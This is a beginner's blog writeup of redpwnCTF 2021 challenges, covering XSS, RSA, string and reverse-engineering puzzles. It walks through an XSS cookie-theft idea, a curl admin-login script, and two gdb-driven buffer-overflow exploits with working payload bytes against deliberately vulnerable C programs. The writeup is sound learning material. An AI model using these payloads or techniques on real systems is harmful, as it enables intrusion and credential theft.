[meta]:
(redpwnCTF 2021)
[meta]: (A noob's perspective)
[meta]: (Loek)
[meta]: (July 13 2021)
[meta]: (hacking, CTF, writeup)
[meta]: (/img/redpwn2021.png)
This is the first 'real' CTF I've participated in. About two weeks ago, a
friend of mine was stuck on some challenges from the Radboud CTF. This was a
closed CTF more geared towards beginners (high school students), and only had a
few challenges which required deeper technical knowledge of web servers and
programming. Willem solved most of the challenges, and I helped solve 3 more.
Apart from those challenges, basically all my hacking knowledge comes from
computerphile videos, liveoverflow videos and making applications myself.
## Challenges
### web/pastebin-1
This challenge is a simple XSS exploit. The website that's vulnerable is
supposed to be a clone of pastebin. I can enter any text into the paste area,
and it will get inserted as HTML code into the website when someone visits the
generated link.
The challenge has two sites: one with the pastebin clone, and one that visits
any pastebin url as the website administrator. The goal of this challenge is
given by it's description:
> Ah, the classic pastebin. Can you get the admin's cookies?
In JS, you can read all cookies without the `HttpOnly` attribute by reading
`document.cookie`. This allows us to read the cookies from the admin's browser,
but now we have to figure out a way to get them sent back to us.
Luckily, there's a free service called [hookbin](https://hookbin.com/) that
gives you an http endpoint to send anything to, and look at the request
details.
Combining these two a simple paste can be created:
```html
```
### crypto/scissor
I wasn't planning on including this one, but it makes use of the excellent
[CyberChef](https://gchq.github.io/CyberChef/) tool. The flag is given in the
challenge description, and is encrypted using a ceasar/rot13 cipher. A simple
python implementation of this cipher is included with the challenge, but I just
put it into CyberChef and started trying different offsets.
### rev/wstrings
> Some strings are wider than normal...
This challenge has a binary that uses a simple `strcmp` to check the flag. When
running the program, the following output is visible:
```sh
# ./wstrings
Welcome to flag checker 1.0.
Give me a flag>
```
My first stategy was running the `strings` utility on the `wstrings` binary,
but I didn't find the flag. What was interesting to me though was that I also
couldn't find the prompt text... This immediately made me check for other
string encodings.
Running the `strings` utility with the `-eL` flag tells `strings` to look for
32-bit little-endian encoded strings, and lo and behold the flag shows up!
This is because ascii strings are less 'wide' than 32-bit strings:
```
--- ascii ---
hex -> 0x68 0x65 0x6c 0x6c 0x6f
str -> h e l l o
```
Notice how each character is represented by a single byte each (8 bits) in
ascii, as opposed to 32-bit characters in 32-bit land.
```
--- 32-bit land ---
hex -> 0x00000068 0x00000065 0x0000006c 0x0000006c 0x0000006f
str -> h e l l o
```
I think 32-bit strings also have practical use for things like non-English
texts such as Hebrew, Chinese or Japanese. Those characters take up more space
anyways, and you would waste less space by not using unicode escape characters.
### web/secure
> Just learned about encryptionโnow, my website is unhackable!
This challenge is pretty simple if you know some of JS's quirks. Right at the
top of the file is an sqlite3 expression in JS:
```js
////////
db.exec(`INSERT INTO users (username, password) VALUES (
'${btoa('admin')}',
'${btoa(crypto.randomUUID)}'
)`);
```
This section of code immediately jumped out to me because I noticed that
`crypto.randomUUID` wasn't actually being called.
Because the 'random uuid' is being fed into `btoa()` it becomes a base64
encoded string. However, `btoa()` also expects a string as input. Because every
object in JS has a `.toString()` method, when you pass it into a function
expecting another type, JS will happily convert it for you without warning.
This means that the admin's password will always be a base64-encoded version of
`crypto.randomUUID`'s source code. We can get that base64-encoded source code
by running the following in a NodeJS REPL:
```js
// import file system and crypto modules
var writeFileSync = require('fs').writeFileSync;
var crypto = require('crypto');
// write source to file
writeFileSync('./randomUUID.js', btoa(crypto.randomUUID.toString()), 'utf-8');
```
I made a simple shell script that calls cURL with the base64-encoded
parameters, and decodes the url-encoded flag afterwards:
```sh
#!/bin/sh
# https://stackoverflow.com/questions/6250698/how-to-decode-url-encoded-string-in-shell
function urldecode() { : "${*//+/ }"; echo -e "${_//%/\\x}"; }
urldecode $(curl -sX POST \
-d "username=$(printf 'admin' | base64)" \
-d "password=$(cat ./randomUUID.js)" \
https://secure.mc.ax/login)
```
### crypto/baby
> I want to do an RSA!
This challenge is breaking RSA. It only works because the `n` parameter is
really small.
Googling for 'rsa decrypt n e c' yields
[this](https://stackoverflow.com/questions/49878381/rsa-decryption-using-only-n-e-and-c)
stackoverflow result, which links to
[dcode.fr](https://www.dcode.fr/rsa-cipher). The only thing left to do is
calculate `p` and `q`, which can be done using [wolfram
alpha](https://wolframalpha.com/).
### pwn/beginner-generic-pwn-number-0
> rob keeps making me write beginner pwn! i'll show him...
>
> `nc mc.ax 31199`
This was my first interaction with `gdb`. It was.. painful. After begging for
help in the redpwnCTF discord server about another waaaay harder challenge, an
organizer named asphyxia pointed me towards [gef](https://github.com/hugsy/gef)
which single-handedly saved my sanity during the binary exploitation
challenges.
The first thing I did was use [iaito](https://github.com/radareorg/iaito) to
look at a disassembly graph of the binary. Iaito is a graphical front-end to
the radare2 reverse engineering framework, and I didn't feel like learning two
things at the same time, so that's why I used it. While it's very
user-friendly, I didn't look into reverse engineering tools very much, and
didn't realise that iaito is still in development. Let's just say I ran into
some issues with project saving so I took lots of unnecessary repeated steps.
After trying to make sense of assembly code after just seeing it for the first
time, I instead decided looking at the source code would be a better idea since
I actually know c.
```c
#include
#include
#include
const char *inspirational_messages[] = {
"\"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ\"",
"\"๐ฑ๐ญ๐ฆ๐ข๐ด๐ฆ ๐ธ๐ณ๐ช๐ต๐ฆ ๐ข ๐ฑ๐ธ๐ฏ ๐ด๐ฐ๐ฎ๐ฆ๐ต๐ช๐ฎ๐ฆ ๐ต๐ฉ๐ช๐ด ๐ธ๐ฆ๐ฆ๐ฌ\"",
"\"๐ฎ๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ข๐ฏ 1 ๐ธ๐ฆ๐ฆ๐ฌ ๐ฃ๐ฆ๐ง๐ฐ๐ณ๐ฆ ๐ต๐ฉ๐ฆ ๐ค๐ฐ๐ฎ๐ฑ๐ฆ๐ต๐ช๐ต๐ช๐ฐ๐ฏ\"",
};
int main(void)
{
srand(time(0));
long inspirational_message_index = rand() % (sizeof(inspirational_messages) / sizeof(char *));
char heartfelt_message[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message);
if(inspirational_message_index == -1) {
system("/bin/sh");
}
}
```
After looking at this source things became a lot clearer, because the only
input you can actually control is received from `gets(...);`
Now comes the hard part: doing it, but in assembly!
Some resources you should consume before attempting binary exploitation would
be [computerphile's video on buffer
overflows](https://www.youtube.com/watch?v=1S0aBV-Waeo) and
[cheat.sh/gdb](https://cheat.sh/gdb) for some basic gdb commands. The rest of
this section assumes you know the basics of both buffer overflows and gdb.
First, let's print a disassembly of the `int main()` function:
```
(gdb) disas main
Dump of assembler code for function main:
0x000000000040127c <+134>: call 0x4010a0
0x0000000000401281 <+139>: lea rdi,[rip+0xec8] # 0x402150
0x0000000000401288 <+146>: call 0x4010a0
0x000000000040128d <+151>: lea rdi,[rip+0xf1c] # 0x4021b0
0x0000000000401294 <+158>: call 0x4010a0
0x0000000000401299 <+163>: lea rax,[rbp-0x30]
0x000000000040129d <+167>: mov rdi,rax
0x00000000004012a0 <+170>: call 0x4010f0
0x00000000004012a5 <+175>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
0x00000000004012aa <+180>: jne 0x4012b8
0x00000000004012ac <+182>: lea rdi,[rip+0xf35] # 0x4021e8
0x00000000004012b3 <+189>: call 0x4010c0
0x00000000004012b8 <+194>: mov eax,0x0
0x00000000004012bd <+199>: leave
0x00000000004012be <+200>: ret
End of assembler dump.
```
This isn't the full output from gdb, but only the last few lines. A few things
should immediately stand out: the 3 `` calls, and right after the
call to ``. These are the assembly equivalent of:
```c
puts(inspirational_messages[inspirational_message_index]);
puts("rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!");
puts("can you write me a heartfelt message to cheer me up? :(");
gets(heartfelt_message);
```
Since I didn't see any reference to a flag file being read, I assumed that the
`system("/bin/sh")` call is our main target, so let's see if we can find that
in our assembly code. There's a call to `` at ``, and
there's other weird `cmp`, `jne` and `lea` instructions before. Let's figure
out what those do!
After some stackoverflow soul searching, I found out that the `cmp` and `jne`
are assembly instructions for compare, and jump-if-not-equal. They work like
this:
```asm6502
; cmp compares what's in the $rbp register to 0xffffffffffffffff
; and turns on the ZERO flag if they're equal
0x004012a5 <+0>: cmp QWORD PTR [rbp-0x8],0xffffffffffffffff
; jne checks if the ZERO flag is on,
; and if it is it jumps (in this case) to 0x4012b8
โ--0x004012aa <+1>: jne 0x4012b8
โ; we can safely ignore the `lea` instruction as it doesn't impact our pwn
โ 0x004012ac <+2>: lea rdi,[rip+0xf35] # 0x4021e8
โ
โ; the almighty syscall
โ 0x004012b3 <+3>: call 0x4010c0
โ
โ; from here on the program exits without calling /bin/sh
โ->0x004012b8 <+4>: mov eax,0x0
0x004012bd <+5>: leave
0x004012be <+6>: ret
```
The program checks if there's `0xffffffffffffffff` in memory `0x8` bytes before
the `$rbp` register. The program allocates 32 bytes of memory for our heartfelt
message, but it continues reading even if our heartfelt message is longer than
32 bytes. Let's see if we can overwrite that register >:)
Let's set a breakpoint after the `` call in gdb, and run the program
with 40 bytes of `0x61` ('a')
```
(gdb) break *0x00000000004012a5
Breakpoint 1 at 0x4012a5
(gdb) run < <(python3 -c "print('a' * 40)")
```
I'm using the `run` command with `<` and `<()` to pipe the output of python
into the program's `stdin`. It's unnecessary at this stage because there's an
'a' key on my keyboard, but if we were to send raw bytes, this would make it a
lot easier.
I'm also using [gef](https://github.com/hugsy/gef) so I get access to a command
called `context` which prints all sorts of information about registers, the
stack and a small disassembly window. I won't show it's output here, but it
was an indispensable tool that you should install nonetheless.
Let's print the memory at `[$rbp - 0x8]`:
```
(gdb) x/8gx $rbp - 0x8
0x7fffffffd758: 0x0000000000000000 0x0000000000000000
0x7fffffffd768: 0x00007ffff7de4b25 0x00007fffffffd858
0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
```
Hmmm, no overwriteage yet. Let's try 56 bytes instead:
```
(gdb) run < <(python3 -c "print('a' * 56)")
(gdb) x/8gx $rbp - 0x8
0x7fffffffd758: 0x6161616161616161 0x6161616161616161
0x7fffffffd768: 0x00007ffff7de4b00 0x00007fffffffd858
0x7fffffffd778: 0x0000000100000064 0x00000000004011f6
0x7fffffffd788: 0x0000000000001000 0x00000000004012c0
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0x6161616161616161
```
Jackpot! We've overwritten 16 bytes of the address that the `cmp` instruction
reads. Let's try setting it to `0xff` instead, so we get a shell. Python 3 is
not that great for binary exploitation, so the code for this is a little bit
ugly, but if it works, it works!
```
(gdb) run < <(python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)")
(gdb) x/1gx $rbp - 0x8
0x7fffffffd758: 0xffffffffffffffff
```
Now let's let execution continue as normal by using the `continue` command:
```
(gdb) continue
Continuing.
[Detaching after vfork from child process 22950]
[Inferior 1 (process 22947) exited normally]
```
This might seem underwhelming, but our explit works! A child process was
spawned, and as a bonus, we didn't get any segmentation faults! The reason we
don't get an interactive shell is because we used python to pipe input into the
program which makes it non-interactive.
At this point I was about 12 hours in of straight gdb hell, and I was very
happy to see this shell. After discovering this, I immediately tried it outside
the debugger and was dissapointed to see that my exploit didn't work. After a
small panick attack I found out this was because of my environment variables.
You can launch an environment-less shell by using the `env -i sh` command:
```
ฮป generic โ ฮป git master* โ env -i sh
sh-5.1$ python3 -c "import sys; sys.stdout.buffer.write(b'a' * 40 + b'\xff' * 8)" | ./beginner-generic-pwn-number-0
"๐ญ๐ฆ๐ต๐ด ๐ฃ๐ณ๐ฆ๐ข๐ฌ ๐ต๐ฉ๐ฆ ๐ต๐ณ๐ข๐ฅ๐ช๐ต๐ช๐ฐ๐ฏ ๐ฐ๐ง ๐ญ๐ข๐ด๐ต ๐ฎ๐ช๐ฏ๐ถ๐ต๐ฆ ๐ค๐ฉ๐ข๐ญ๐ญ ๐ธ๐ณ๐ช๐ต๐ช๐ฏ๐จ"
rob inc has had some serious layoffs lately and i have to do all the beginner pwn all my self!
can you write me a heartfelt message to cheer me up? :(
sh-5.1$ # another shell :tada:
```
Now it was time to actually do the exploit on the remote server.
I whipped up the most disgusting and janky python code that I won't go into
detail about, but here's what is does (in short):
1. Create a thread to capture data from the server and forward it to `stdout`
2. Capture user commands using `input()` and decide what to do with them on the main thread
The code for this script can be found
[here](https://github.com/lonkaars/redpwn/blob/master/challenges/generic/pwn.py),
though be warned, it's _very_ janky and you're probably better off copying
stuff from stackoverflow. Writing your own tools is more fun though, and might
also be faster than trying to wrestle with existing tools to try to get them to
do exactly what you want them to do. In this case I could've also just used [a
simple
command](https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&lq=1).
It did help me though and I actually had to copy it for use in the other buffer
overflow challenge that I solved, so I'll probably refactor it someday for use
in other CTFs.
### crypto/round-the-bases
This crypto challenge uses a text file with some hidden information. If you
open up the file in a text editor, and adjust your window width, you'll
eventually see the repeating pattern line up. This makes it very easy to see
what part of the pattern is actually changing:
```
----------------------xxxx----
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:K0o09mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
[9km7D9mTfc:..Zt9mTZ_:IIcu9mTN
```
I wrote a simple python script to parse this into binary data, and it worked on
the first try:
```py
# read the file into a string
file = open("./round-the-bases")
content = file.read()
file.close()
# split on every 30th character into a list
n = 30
arr = [ content[i : i + n] for i in range(0, len(content), n) ]
bin = []
for line in arr:
sub = line[16:20] # the part that changes
if sub == 'IIcu': # IIcu -> 0x0
bin.append('0')
else: # K0o0 -> 0x1
bin.append('1')
bin = ''.join(bin) # join all the list indices together into a string
# decode the binary string into ascii characters
for i in range(0, len(bin), 8):
print(chr(int(bin[i:i+8], 2)), end='')
# newline for good measure
print("\n", end='')
```
### pwn/ret2generic-flag-reader
This was the second binary exploitation challenge I tackled, and it went much
better than the first because I (sort of) knew what I was doing by now.
I figured the 'ret2' part of the title challenge was short for 'return to', and
my suspicion was confirmed after looking at the c source:
```c
#include
#include
#include
void super_generic_flag_reading_function_please_ret_to_me()
{
char flag[0x100] = {0};
FILE *fp = fopen("./flag.txt", "r");
if (!fp)
{
puts("no flag!! contact a member of rob inc");
exit(-1);
}
fgets(flag, 0xff, fp);
puts(flag);
fclose(fp);
}
int main(void)
{
char comments_and_concerns[32];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts("alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...");
puts("how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!");
puts("slap on some flavortext and there's no way rob will fire me now!");
puts("this is genius!! what do you think?");
gets(comments_and_concerns);
}
```
With my newfound knowledge of binary exploitation, I figured I would have to
overwrite the return pointer on the stack somehow, so the program calls the
`super_generic_flag_reading_function_please_ret_to_me` function that isn't
called at all in the original.
The only input we have control over is again a call to `gets();`
Let's look at the disassembly in gdb:
```
(gdb) disas main
Dump of assembler code for function main:
0x00000000004013f4 <+79>: call 0x4010a0
0x00000000004013f9 <+84>: lea rdi,[rip+0xca0] # 0x4020a0
0x0000000000401400 <+91>: call 0x4010a0
0x0000000000401405 <+96>: lea rdi,[rip+0xd0c] # 0x402118
0x000000000040140c <+103>: call 0x4010a0
0x0000000000401411 <+108>: lea rdi,[rip+0xd48] # 0x402160
0x0000000000401418 <+115>: call 0x4010a0
0x000000000040141d <+120>: lea rax,[rbp-0x20]
0x0000000000401421 <+124>: mov rdi,rax
0x0000000000401424 <+127>: call 0x4010e0
0x0000000000401429 <+132>: mov eax,0x0
0x000000000040142e <+137>: leave
0x000000000040142f <+138>: ret
End of assembler dump.
```
We see again multiple calls to `` and right after a call to
``. There is no `cmp` and `jne` to be found in this challenge though.
The goal is to overwrite the _return address_. This is a memory address also
stored in memory, and the program will move execution to that memory address
once it sees a `ret` instruction. In this 'vanilla' state, the return address
always goes to the assembly equivalent of an `exit()` function. Let's see if we
can overwrite it by giving too much input:
```
(gdb) break *0x000000000040142f
Breakpoint 1 at 0x40142f
(gdb) run < <(python3 -c "print('a' * 56)")
-- Breakpoint 1 hit --
(gdb) info registers
rax 0x0 0x0
rbx 0x401430 0x401430
rsi 0x7ffff7f7d883 0x7ffff7f7d883
rdi 0x7ffff7f804e0 0x7ffff7f804e0
rbp 0x6161616161616161 0x6161616161616161
rsp 0x7fffffffd898 0x7fffffffd898
rip 0x40142f 0x40142f
```
As you can see, the $rbp register is completely overwritten with `0x61`'s.
Let's check the $rsp register to see where the `main()` function tries to go
after `ret`:
```
(gdb) run
Starting program: ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3
-- Breakpoint 1 hit --
(gdb) x/1gx $rsp
0x7fffffffd898: 0x3363326331633063
```
Let's use CyberChef to see what `0x3363326331633063` is in ascii!
![](/img/redpwn2021/cyberchef1.png)
Hmm, it's backwards. Let's reverse it!
![](/img/redpwn2021/cyberchef2.png)
Let's find the address of the super generic flag reading function with gdb.
```
(gdb) print super_generic_flag_reading_function_please_ret_to_me
$2 = {} 0x4011f6
```
Now we're ready to craft a string that exploits the program and runs the secret
function!
```
a0a1a2a3a4a5a6a7a8a9b0b1b2b3b4b5b6b7b8b9c0c1c2c3 <- original
c0c1c2c3 <- ends up in $rsp
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa <- padding ( 0x28 * 'a' )
c 0 c 1 c 2 c 3 <- ends up in $rsp
3 c 2 c 1 c 0 c <- reverse
0x3363326331633063 <- reverse (hex)
0x00000000004011f6 <- pointer we want in $rsp
f611400000000000 <- reverse
\xf6\x11\x40\x00\x00\x00\x00\x00 <- python bytestring
exploit string:
b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00'
```
Now let's try it in an environment-less shell:
```
python3 -c "import sys; sys.stdout.buffer.write(b'a' * 0x28 + b'\xf6\x11\x40\x00\x00\x00\x00\x00')" | ./ret2generic-flag-reader
alright, the rob inc company meeting is tomorrow and i have to come up with a new pwnable...
how about this, we'll make a generic pwnable with an overflow and they've got to ret to some flag reading function!
slap on some flavortext and there's no way rob will fire me now!
this is genius!! what do you think?
flag{this_is_a_dummy_flag_go_solve_it_yourself}
Segmentation fault (core dumped)
sh-5.1$
```
### rev/bread-making
For this challenge, I first tried using iaito again to do some program flow
analysis. After giving up on that, I decided to instead brute-force the correct
steps by hand. This was a very long and boring process.
First I used `strings` again to extract all the dialogue and user input strings
from the binary. Then I filtered them to not include obvious dialogue, but only
the possible user input strings. And this is the correct path that gives the
flag:
```
add flour
add salt
add yeast
add water
hide the bowl inside a box
wait 3 hours
work in the basement
preheat the toaster oven
set a timer on your phone
watch the bread bake
pull the tray out with a towel
open the window
unplug the oven
unplug the fire alarm
wash the sink
clean the counters
flush the bread down the toilet
get ready to sleep
close the window
replace the fire alarm
brush teeth and go to bed
```
In hindsight I could've probably made a simple python script to brute force all
remaining possibilities until it got longer output from the program, but
laziness took over and I decided that spending 45 minutes doing very dull work
was more worth it instead.
## Epilogue
Of the 47 total challenges, me and Willem only solved 15. My end goal for this
CTF wasn't winning to begin with, so the outcome didn't matter for me. After
the second day I set the goal of reaching the 3rd page of the leaderboards as
my goal, and we reached 277'th place in the end which made my mom very proud!
![](/img/redpwn2021/leaderboard.png)
I enjoyed the CTF a lot! There were some very frustrating challenges, and I
still don't get how people solved web/wtjs, but that's fine. I did learn how to
use GDB and a lot of other things during the CTF which were all very rewarding.
I will definitely be participating in the 2022 redpwnCTF, and maybe even some
others if they're beginner friendly :)
During the Radboud CTF and this CTF I've accumulated a lot of ideas to maybe
host one myself, though I have no clue where to start with that. Maybe keep an
eye out for that ;)